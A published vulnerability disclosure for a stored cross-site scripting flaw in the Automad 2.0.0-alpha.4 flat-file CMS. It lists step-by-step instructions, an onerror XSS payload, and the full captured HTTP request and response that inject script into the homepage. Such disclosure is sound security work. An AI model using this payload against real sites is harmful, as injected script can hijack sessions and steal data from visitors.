Automad 2.0.0-alpha.4 Cross Site Scripting

`# Exploit Title: Automad 2.0.0-alpha.4 - Stored Cross-Site Scripting (XSS)  
# Date: 20-06-2024  
# Exploit Author: Jerry Thomas (w3bn00b3r)  
# Vendor Homepage: https://automad.org  
# Software Link: https://github.com/marcantondahmen/automad  
# Category: Web Application [Flat File CMS]  
# Version: 2.0.0-alpha.4  
# Tested on: Docker version 26.1.4, build 5650f9b | Debian GNU/Linux 11  
(bullseye)  
  
# Description  
  
A persistent (stored) cross-site scripting (XSS) vulnerability has been  
identified in Automad 2.0.0-alpha.4. This vulnerability enables an attacker  
to inject malicious JavaScript code into the template body. The injected  
code is stored within the flat file CMS and is executed in the browser of  
any user visiting the forum. This can result in session hijacking, data  
theft, and other malicious activities.  
  
# Proof-of-Concept  
  
*Step-1:* Login as Admin & Navigate to the endpoint  
http://localhost/dashboard/home  
  
*Step-2:* There will be a default Welcome page. You will find an option to  
edit it.  
  
*Step-3:* Navigate to Content tab or  
http://localhost/dashboard/page?url=%2F&section=text & edit the block named  
***`Main`***  
  
*Step-4:* Enter the XSS Payload - <img src=x onerror=alert(1)>  
  
  
*Request:*  
  
POST /_api/page/data HTTP/1.1  
  
Host: localhost  
Content-Length: 1822  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36  
(KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36  
Content-Type: multipart/form-data;  
boundary=----WebKitFormBoundaryzHmXQBdtZsTYQYCv  
Accept: */*  
Origin: http://localhost  
Referer: http://localhost/dashboard/page?url=%2F&section=text  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Cookie:  
Automad-8c069df52082beee3c95ca17836fb8e2=d6ef49301b4eb159fbcb392e5137f6cb  
Connection: close  
  
------WebKitFormBoundaryzHmXQBdtZsTYQYCv  
Content-Disposition: form-data; name="__csrf__"  
  
49d68bc08cca715368404d03c6f45257b3c0514c7cdf695b3e23b0a4476a4ac1  
------WebKitFormBoundaryzHmXQBdtZsTYQYCv  
Content-Disposition: form-data; name="__json__"  
  
{"data":{"title":"Welcome","+hero":{"blocks":[{"id":"KodzL-KvSZcRyOjlQDYW9Md2rGNtOUph","type":"paragraph","data":{"text":"Testing  
for  
xss","large":false},"tunes":{"layout":null,"spacing":{"top":"","right":"","bottom":"","left":""},"className":"","id":""}},{"id":"bO_fxLKL1LLlgtKCSV_wp2sJQkXAsda8","type":"paragraph","data":{"text":"<h1>XSS  
identified by  
Jerry</h1>","large":false},"tunes":{"layout":null,"spacing":{"top":"","right":"","bottom":"","left":""},"className":"","id":""}}],"automadVersion":"2.0.0-alpha.4"},"+main":{"blocks":[{"id":"lD9sUJki6gn463oRwjcY_ICq5oQPYZVP","type":"paragraph","data":{"text":"You  
have successfully installed Automad 2.<br><br><img src=x  
onerror=alert(1)><br>","large":false},"tunes":{"layout":null,"spacing":{"top":"","right":"","bottom":"","left":""},"className":"","id":""}},{"id":"NR_n3XqFF94kfN0jka5XGbi_-TBEf9ot","type":"buttons","data":{"primaryText":"Visit  
Dashboard","primaryLink":"/dashboard","primaryStyle":{"borderWidth":"2px","borderRadius":"0.5rem","paddingVertical":"0.5rem","paddingHorizontal":"1.5rem"},"primaryOpenInNewTab":false,"secondaryText":"","secondaryLink":"","secondaryStyle":{"borderWidth":"2px","borderRadius":"0.5rem","paddingHorizontal":"1.5rem","paddingVertical":"0.5rem"},"secondaryOpenInNewTab":true,"justify":"start","gap":"1rem"},"tunes":{"layout":null,"spacing":{"top":"","right":"","bottom":"","left":""},"className":"","id":""}}],"automadVersion":"2.0.0-alpha.4"}},"theme_template":"project","dataFetchTime":"1718911139","url":"/"}  
------WebKitFormBoundaryzHmXQBdtZsTYQYCv--  
  
  
*Response:*  
  
HTTP/1.1 200 OK  
  
Server: nginx/1.24.0  
Date: Thu, 20 Jun 2024 19:17:35 GMT  
Content-Type: application/json; charset=utf-8  
Connection: close  
X-Powered-By: PHP/8.3.6  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Cache-Control: no-store, no-cache, must-revalidate  
Pragma: no-cache  
Content-Length: 30`  
  
{"code":200,"time":1718911055}  
  
  
*Step-5:* XSS triggers when you go to homepage - http://localhost/  
  
  
`